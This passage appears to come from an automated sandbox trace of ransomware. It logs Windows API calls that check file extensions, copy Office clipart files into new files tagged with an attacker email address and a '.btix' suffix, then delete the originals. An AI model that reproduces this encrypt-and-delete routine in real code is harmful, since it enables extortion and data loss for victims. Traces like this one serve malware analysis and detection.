Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0055.922] lstrlenW (lpString=".1cd") returned 4 [0055.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0055.922] lstrlenW (lpString=".jpg") returned 4 [0055.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0055.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0055.922] lstrlenW (lpString=".doc") returned 4 [0055.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.922] lstrlenW (lpString=".docx") returned 5 [0055.922] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.922] lstrlenW (lpString=".pdf") returned 4 [0055.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.922] lstrlenW (lpString=".xls") returned 4 [0055.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.923] lstrlenW (lpString=".xlsx") returned 5 [0055.923] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.923] lstrlenW (lpString=".ppt") returned 4 [0055.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0055.923] lstrlenW (lpString=".zip") returned 4 [0055.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.923] lstrlenW (lpString=".rar") returned 4 [0055.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.923] lstrlenW (lpString=".bz2") returned 4 [0055.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.923] lstrlenW (lpString=".7z") returned 3 [0055.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0055.923] lstrlenW (lpString=".dbf") returned 4 [0055.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0055.923] lstrlenW (lpString=".1cd") returned 4 [0055.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 68 [0055.923] lstrlenW (lpString=".jpg") returned 4 [0055.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.923] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0055.923] lstrlenW (lpString="BD08758_.WMF") returned 12 [0055.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0055.924] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=24320) returned 1 [0055.924] CloseHandle (hObject=0x34c) returned 1 [0055.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x220 [0055.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0055.924] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.924] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.924] GetLastError () returned 0x0 [0055.924] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x5f00, lpOverlapped=0x0) returned 1 [0055.939] WriteFile (in: hFile=0x308, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x5f10, lpOverlapped=0x0) returned 1 [0055.941] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.941] WriteFile (in: hFile=0x308, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0055.941] SetEndOfFile (hFile=0x308) returned 1 [0055.941] CloseHandle (hObject=0x308) returned 1 [0055.942] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.942] SetEndOfFile (hFile=0x34c) returned 1 [0055.943] CloseHandle (hObject=0x34c) returned 1 [0055.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0055.944] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0055.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0055.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0055.944] lstrlenW (lpString=".doc") returned 4 [0055.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.944] lstrlenW (lpString=".docx") returned 5 [0055.944] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.944] lstrlenW (lpString=".pdf") returned 4 [0055.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.944] lstrlenW (lpString=".xls") returned 4 [0055.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.944] lstrlenW (lpString=".xlsx") returned 5 [0055.944] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.944] lstrlenW (lpString=".ppt") returned 4 [0055.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0055.945] lstrlenW (lpString=".zip") returned 4 [0055.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.945] lstrlenW (lpString=".rar") returned 4 [0055.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.945] lstrlenW (lpString=".bz2") returned 4 [0055.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.945] lstrlenW (lpString=".7z") returned 3 [0055.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0055.945] lstrlenW (lpString=".dbf") returned 4 [0055.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0055.945] lstrlenW (lpString=".1cd") returned 4 [0055.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0055.945] lstrlenW (lpString=".jpg") returned 4 [0055.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0055.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0055.945] lstrlenW (lpString=".doc") returned 4 [0055.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.945] lstrlenW (lpString=".docx") returned 5 [0055.945] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.945] lstrlenW (lpString=".pdf") returned 4 [0055.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.945] lstrlenW (lpString=".xls") returned 4 [0055.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.945] lstrlenW (lpString=".xlsx") returned 5 [0055.945] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.945] lstrlenW (lpString=".ppt") returned 4 [0055.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0055.945] lstrlenW (lpString=".zip") returned 4 [0055.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.945] lstrlenW (lpString=".rar") returned 4 [0055.946] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.946] lstrlenW (lpString=".bz2") returned 4 [0055.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.946] lstrlenW (lpString=".7z") returned 3 [0055.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0055.946] lstrlenW (lpString=".dbf") returned 4 [0055.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0055.946] lstrlenW (lpString=".1cd") returned 4 [0055.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0055.946] lstrlenW (lpString=".jpg") returned 4 [0055.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.946] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0055.946] lstrlenW (lpString="BD08868_.WMF") returned 12 [0055.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0055.946] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=40206) returned 1 [0055.946] CloseHandle (hObject=0x34c) returned 1 [0055.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x220 [0055.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0055.947] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.947] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.947] GetLastError () returned 0x0 [0055.947] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x9d0e, lpOverlapped=0x0) returned 1 [0055.960] WriteFile (in: hFile=0x308, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x9d10, lpOverlapped=0x0) returned 1 [0055.962] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.962] WriteFile (in: hFile=0x308, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0055.962] SetEndOfFile (hFile=0x308) returned 1 [0055.965] CloseHandle (hObject=0x308) returned 1 [0055.966] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.966] SetEndOfFile (hFile=0x34c) returned 1 [0055.968] CloseHandle (hObject=0x34c) returned 1 [0055.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0055.969] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0055.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0055.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0055.969] lstrlenW (lpString=".doc") returned 4 [0055.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.969] lstrlenW (lpString=".docx") returned 5 [0055.969] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.969] lstrlenW (lpString=".pdf") returned 4 [0055.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.970] lstrlenW (lpString=".xls") returned 4 [0055.970] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.970] lstrlenW (lpString=".xlsx") returned 5 [0055.970] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.970] lstrlenW (lpString=".ppt") returned 4 [0055.970] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0055.970] lstrlenW (lpString=".zip") returned 4 [0055.970] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.970] lstrlenW (lpString=".rar") returned 4 [0055.970] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.970] lstrlenW (lpString=".bz2") returned 4 [0055.970] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.970] lstrlenW (lpString=".7z") returned 3 [0055.970] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0055.970] lstrlenW (lpString=".dbf") returned 4 [0055.970] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0055.970] lstrlenW (lpString=".1cd") returned 4 [0055.970] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0055.970] lstrlenW (lpString=".jpg") returned 4 [0055.970] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0055.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0055.970] lstrlenW (lpString=".doc") returned 4 [0055.970] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.970] lstrlenW (lpString=".docx") returned 5 [0055.970] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.970] lstrlenW (lpString=".pdf") returned 4 [0055.970] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.970] lstrlenW (lpString=".xls") returned 4 [0055.970] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.971] lstrlenW (lpString=".xlsx") returned 5 [0055.971] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.971] lstrlenW (lpString=".ppt") returned 4 [0055.971] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0055.971] lstrlenW (lpString=".zip") returned 4 [0055.971] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.971] lstrlenW (lpString=".rar") returned 4 [0055.971] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.971] lstrlenW (lpString=".bz2") returned 4 [0055.971] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.971] lstrlenW (lpString=".7z") returned 3 [0055.971] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0055.971] lstrlenW (lpString=".dbf") returned 4 [0055.971] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0055.971] lstrlenW (lpString=".1cd") returned 4 [0055.971] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0055.971] lstrlenW (lpString=".jpg") returned 4 [0055.971] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.971] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0055.971] lstrlenW (lpString="BD09662_.WMF") returned 12 [0055.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0055.973] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=20554) returned 1 [0055.973] CloseHandle (hObject=0x2d8) returned 1 [0055.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x220 [0055.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0055.973] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.973] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0055.974] GetLastError () returned 0x0 [0055.974] ReadFile (in: hFile=0x2d8, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x504a, lpOverlapped=0x0) returned 1 [0056.025] WriteFile (in: hFile=0x36c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x5050, lpOverlapped=0x0) returned 1 [0056.026] ReadFile (in: hFile=0x2d8, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.026] WriteFile (in: hFile=0x36c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0056.026] SetEndOfFile (hFile=0x36c) returned 1 [0056.026] CloseHandle (hObject=0x36c) returned 1 [0056.027] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.027] SetEndOfFile (hFile=0x2d8) returned 1 [0056.028] CloseHandle (hObject=0x2d8) returned 1 [0056.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0056.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0056.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0056.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0056.029] lstrlenW (lpString=".doc") returned 4 [0056.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.029] lstrlenW (lpString=".docx") returned 5 [0056.029] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.029] lstrlenW (lpString=".pdf") returned 4 [0056.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.029] lstrlenW (lpString=".xls") returned 4 [0056.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.029] lstrlenW (lpString=".xlsx") returned 5 [0056.029] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.029] lstrlenW (lpString=".ppt") returned 4 [0056.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0056.029] lstrlenW (lpString=".zip") returned 4 [0056.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.029] lstrlenW (lpString=".rar") returned 4 [0056.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.029] lstrlenW (lpString=".bz2") returned 4 [0056.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.029] lstrlenW (lpString=".7z") returned 3 [0056.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0056.029] lstrlenW (lpString=".dbf") returned 4 [0056.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0056.030] lstrlenW (lpString=".1cd") returned 4 [0056.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0056.030] lstrlenW (lpString=".jpg") returned 4 [0056.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.030] lstrlenW (lpString="C:\\Program Files\\Microsoft 